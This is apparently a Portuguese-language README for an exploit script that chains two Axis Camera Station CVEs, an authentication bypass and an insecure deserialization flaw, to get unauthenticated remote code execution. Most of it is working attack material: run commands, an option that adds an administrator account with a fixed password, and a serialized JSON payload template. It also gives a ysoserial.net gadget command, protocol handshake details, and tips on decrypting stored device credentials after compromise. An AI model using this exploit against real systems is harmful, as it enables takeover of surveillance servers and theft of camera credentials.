
RCE não autenticado no Axis Camera Station (ACS) encadeando CVE‑2025‑30026 (Bypass de autenticação) + CVE‑2025‑30023 (Desserialização insegura)
Este exploit encadeia o CVE‑2025‑30026 (Bypass de autenticação) com o CVE‑2025‑30023 (Desserialização insegura) para obter RCE não autenticado no software Axis Camera Station. Ele contorna o mecanismo de login e entrega payloads serializados maliciosos que acionam a execução arbitrária de comandos, dando ao atacante controle total sobre a máquina alvo.
Ambas as vulnerabilidades afetam as versões do Axis Camera Station Pro anteriores à 6.9 e as versões do Axis Camera Station anteriores à 5.58.
Ele é baseado no post do blog da Claroty "Turning Camera Surveillance on its Axis", que descreve o protocolo e as vulnerabilidades associadas.
python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
| Flag | Descrição |
|---|---|
--host | IP/host de destino (obrigatório). |
--port | Porta de destino (padrão 55752). |
--key | Chave privada RSA-2048 do cliente em PEM (obrigatório). |
--json | Arquivo JSON local contendo a Request a ser enviada. |
--version | Request VersionFacade.get_ProductVersion para obter informações de versão. |
--adduser | Cria o usuário ricardo com a senha ThisIsIt123 e o adiciona ao grupo Administrators. |
--wait | Segundos para escutar no canal após o handshake (padrão 5). |
--listen | Segundos para aguardar a resposta após enviar uma Request (padrão 15). |
Instale as dependências e gere uma chave privada RSA em formato PEM para o cliente:
pip install cryptography
openssl genrsa -out client_priv.pem 2048
Consulte a versão do produto para verificar se a versão é vulnerável:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

Explorar a desserialização para criar um usuário administrador ricardo com a senha ThisIsIt123:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser


Envie um Request personalizado a partir de um arquivo JSON para executar qualquer comando:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json
RequestUm Request é um objeto JSON com uma única chave "Request". O formato para explorar a desserialização é:
{
"Request": {
"Id": "random123456",
"Service": "SessionFacade",
"Method": "LogOnAsync",
"Parameters": {
"uri": "http://192.168.1.197:55752/",
"clientInformationDto": {
"$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
},
"communicationType": 0,
"ct": "random123456"
}
}
}
O valor do campo clientInformationDto pode ser obtido usando Ysoserial.net com um gadget como WindowsIdentity, que parece bastante estável para explorar essa vulnerabilidade (outros gadgets derrubam o serviço):
ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw
Depois de obter acesso à máquina Windows, você tem acesso aos bancos de dados .FDB que contêm as credenciais para se conectar aos diferentes dispositivos. Estes são criptografados usando uma implementação fraca de AES, que você pode descriptografar imediatamente usando o número de série do volume do host ou por força bruta em minutos com uma GPU.
Você pode usar o script neste repositório para explorá-la: CVE-2026-63286.
O AXIS Camera Station encapsula um protocolo binário com estado sobre HTTP. Em vez de uma requisição/resposta por conexão, ele abre dois canais de longa duração e transmite mensagens em frames sobre eles até que a conexão seja fechada.
| Camada | Detalhe |
|---|---|
| Transporte | HTTP sobre a porta 55752. GET /_/ abre o canal RX (recebimento); POST /_/<channelID> é o canal TX (envio), com cada mensagem no corpo do POST. |
| Enquadramento RX | Corpo HTTP chunked; dentro dele, os frames de controle são [uint32 LE length][data]. |
| Handshake | Ambos os lados trocam uma chave pública, depois uma chave de sessão AES aleatória encapsulada com a chave pública do outro lado. |
| Formato da chave | O cliente envia seu certificado X.509 (base64). A chave AES é enviada como base64(wrapped_key):base64(iv). |
| Encapsulamento RSA | PKCS#1 v1.5. |
| Canal | AES-256-CBC com padding PKCS#7. Os frames servidor→cliente usam a chave + IV do servidor. |
| Aplicação | JSON do Axis.Remoting. O cliente primeiro envia seu ClientId como um HELLO, depois {"Request":{"Id","Service","Method","Parameters"}}. |
RX GET /_/ <- channelID
RX (server pushes) <- server cert (X.509, base64)
RX (server pushes) <- server AES key + IV (wrapped)
TX POST /_/<channelID> -> client cert (X.509, base64)
TX POST /_/<channelID> -> client AES key + IV (wrapped)
TX POST /_/<channelID> -> HELLO (ClientId)
TX POST /_/<channelID> -> encrypted JSON Request
RX (server pushes) <- encrypted JSON Response
Testado nas versões 5.57.27610 e 5.57.33556 executando no Windows 11.
Ataques de desserialização podem derrubar o serviço se gadgets instáveis ou parâmetros inadequados forem usados, portanto sempre teste em ambientes controlados.
Este script é fornecido exclusivamente para fins educacionais e de testes autorizados... use por sua conta e risco!